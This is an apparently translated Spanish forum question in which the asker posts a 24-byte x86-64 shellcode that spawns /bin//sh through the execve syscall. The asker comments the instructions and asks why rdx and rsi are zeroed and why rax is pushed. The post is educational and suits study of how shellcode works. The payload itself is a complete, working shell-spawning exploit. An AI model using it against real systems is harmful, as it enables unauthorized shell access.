Hay una vulnerabilidad disponible que utiliza execve()
syscall para generar un shell en solo 24 bytes. Sé que esto es un exploit que requiere una pila ejecutable, pero no estoy interesado en lo que realmente logra el exploit.
La mayoría de las instrucciones de la hazaña son bastante claras. He añadido algunos comentarios.
##########
# Source #
##########
section .text
global _start
_start:
push rax // Prolog
xor rdx, rdx // set rdx to 0x0
xor rsi, rsi // set rsi to 0x0
mov rbx,'/bin//sh' // put "/bin//sh" in register rbx */
push rbx // push register rbx content onto stack
push rsp // push current rsp (stack pointer address) to stack
pop rdi // pop latest stack element's content into rdi by pointer rdi:=[rsp] -> "/bin//sh"
mov al, 59 // prepare syscall execution: 59 refers to execve syscall*/
syscall // execute execve syscall: argument is in register rdi = "/bin//sh"
// execve("/bin//sh") executes, if successful shell spawned
Lo que no está claro para mí es el propósito de las instrucciones xor rdx, rdx
y xor rsi, rsi
. Sé que esto establece el contenido del registro en 0x0
.
Pero, ¿por qué es necesario establecer rdx
y rsi
en 0x0
en primer lugar?
Además, ¿por qué es necesario guardar rax
en la pila con la instrucción push rax
?